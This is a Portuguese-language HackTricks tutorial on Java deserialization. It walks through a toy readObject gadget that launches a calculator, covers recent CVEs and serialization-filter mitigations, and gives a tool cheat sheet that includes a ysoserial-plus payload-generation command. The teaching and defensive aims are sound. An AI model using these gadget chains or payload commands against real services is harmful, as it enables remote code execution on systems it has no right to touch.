Basic Java Deserialization with ObjectInputStream readObject

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Neste POST, será explicado um exemplo usando java.io.Serializable e por que sobrescrever readObject() pode ser extremamente perigoso se o fluxo de entrada for controlado pelo atacante.

Serializable

A interface Java Serializable (java.io.Serializable) é uma interface de marcação que suas classes devem implementar se forem serializadas e desserializadas. A serialização de objetos Java (escrita) é feita com o ObjectOutputStream e a desserialização (leitura) é feita com o ObjectInputStream.

Lembrete: Quais métodos são invocados implicitamente durante a desserialização?

  1. readObject() – lógica de leitura específica da classe (se implementada e privada).
  2. readResolve() – pode substituir o objeto desserializado por outro.
  3. validateObject() – via callbacks de ObjectInputValidation.
  4. readExternal() – para classes que implementam Externalizable.
  5. Construtores não são executados – portanto, cadeias de gadgets dependem exclusivamente dos callbacks anteriores.

Qualquer método nessa cadeia que acabar invocando dados controlados pelo atacante (execução de comando, buscas JNDI, reflexão, etc.) transforma a rotina de desserialização em um gadget RCE.

Vamos ver um exemplo com uma classe Person que é serializável. Esta classe sobrescreve a função readObject, então quando qualquer objeto desta classe é desserializado, esta função será executada.
No exemplo, a função readObject da classe Person chama a função eat() de seu animal de estimação e a função eat() de um Dog (por algum motivo) chama um calc.exe. Vamos ver como serializar e desserializar um objeto Person para executar esta calculadora:

O seguinte exemplo é de https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649

java
import java.io.Serializable;
import java.io.*;

public class TestDeserialization {
interface Animal {
public void eat();
}
//Class must implements Serializable to be serializable
public static class Cat implements Animal,Serializable {
@Override
public void eat() {
System.out.println("cat eat fish");
}
}
//Class must implements Serializable to be serializable
public static class Dog implements Animal,Serializable {
@Override
public void eat() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("dog eat bone");
}
}
//Class must implements Serializable to be serializable
public static class Person implements Serializable {
private Animal pet;
public Person(Animal pet){
this.pet = pet;
}
//readObject implementation, will call the readObject from ObjectInputStream  and then call pet.eat()
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
pet = (Animal) stream.readObject();
pet.eat();
}
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(String[] args) throws Exception {
// Example to call Person with a Dog
Animal animal = new Dog();
Person person = new Person(animal);
GeneratePayload(person,"test.ser");
payloadTest("test.ser");
// Example to call Person with a Cat
//Animal animal = new Cat();
//Person person = new Person(animal);
//GeneratePayload(person,"test.ser");
//payloadTest("test.ser");
}
}

Conclusão (cenário clássico)

Como você pode ver neste exemplo muito básico, a “vulnerabilidade” aqui aparece porque o método readObject() está chamando outro código controlado pelo atacante. Em cadeias de gadgets do mundo real, milhares de classes contidas em bibliotecas externas (Commons-Collections, Spring, Groovy, Rome, SnakeYAML, etc.) podem ser abusadas – o atacante só precisa de um gadget acessível para obter execução de código.


2023-2025: O que há de novo em ataques de deserialização Java?

  • 2023 – CVE-2023-34040: A deserialização de cabeçalhos de registros de erro do Spring-Kafka quando as flags checkDeserExWhen* estão habilitadas permitiu a construção arbitrária de gadgets a partir de tópicos publicados por atacantes. Corrigido em 3.0.10 / 2.9.11. ¹
  • 2023 – CVE-2023-36480: A suposição de servidor confiável do cliente Java Aerospike foi quebrada – respostas de servidor malicioso continham cargas úteis serializadas que foram deserializadas pelo cliente → RCE. ²
  • 2023 – CVE-2023-25581: A análise do atributo de perfil de usuário do pac4j-core aceitou blobs Base64 com prefixo {#sb64} e os deserializou apesar de um RestrictedObjectInputStream. Atualizar ≥ 4.0.0.
  • 2023 – CVE-2023-4528: O JSCAPE MFT Manager Service (porta 10880) aceitou objetos Java codificados em XML levando a RCE como root/SYSTEM.
  • 2024 – Múltiplas novas cadeias de gadgets foram adicionadas ao ysoserial-plus(mod) incluindo classes Hibernate5, TomcatEmbed e SnakeYAML 2.x que contornam alguns filtros antigos.

Mitigações modernas que você deve implementar

  1. JEP 290 / Filtragem de Serialização (Java 9+) Adicione uma lista de permissão ou lista de negação de classes:
bash
# Aceitar apenas seus DTOs e java.base, rejeitar tudo o mais
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"

Exemplo programático:

java
var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
ObjectInputFilter.Config.setSerialFilter(filter);
  1. JEP 415 (Java 17+) Fábricas de Filtros Específicos de Contexto – use um BinaryOperator<ObjectInputFilter> para aplicar filtros diferentes por contexto de execução (por exemplo, por chamada RMI, por consumidor de fila de mensagens).
  2. Não exponha ObjectInputStream bruto pela rede – prefira codificações JSON/binárias sem semântica de execução de código (Jackson após desabilitar DefaultTyping, Protobuf, Avro, etc.).
  3. Limites de Defesa em Profundidade – Defina comprimento máximo de array, profundidade, referências:
bash
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
  1. Escaneamento contínuo de gadgets – execute ferramentas como gadget-inspector ou serialpwn-cli em seu CI para falhar a construção se um gadget perigoso se tornar acessível.

Folha de dicas de ferramentas atualizada (2024)

  • ysoserial-plus.jar – fork da comunidade com > 130 cadeias de gadgets:
bash
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
  • marshalsec – ainda a referência para geração de gadgets JNDI (LDAP/RMI).
  • gadget-probe – descoberta rápida de gadgets em caixa-preta contra serviços de rede.
  • SerialSniffer – agente JVMTI que imprime cada classe lida por ObjectInputStream (útil para criar filtros).
  • Dica de detecção – habilite -Djdk.serialDebug=true (JDK 22+) para registrar decisões de filtro e classes rejeitadas.

Lista de verificação rápida para implementações seguras de readObject()

  1. Torne o método private e adicione a anotação @Serial (ajuda na análise estática).
  2. Nunca chame métodos fornecidos pelo usuário ou realize I/O no método – apenas leia campos.
  3. Se a validação for necessária, realize-a após a deserialização, fora de readObject().
  4. Prefira implementar Externalizable e faça leituras de campos explícitas em vez de serialização padrão.
  5. Registre um ObjectInputFilter endurecido mesmo para serviços internos (design resiliente a compromissos).

Referências

  1. Aviso de Segurança do Spring – CVE-2023-34040 Deserialização Java no Spring-Kafka (Ago 2023)
  2. GitHub Security Lab – GHSL-2023-044: Deserialização insegura no Cliente Java Aerospike (Jul 2023)

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks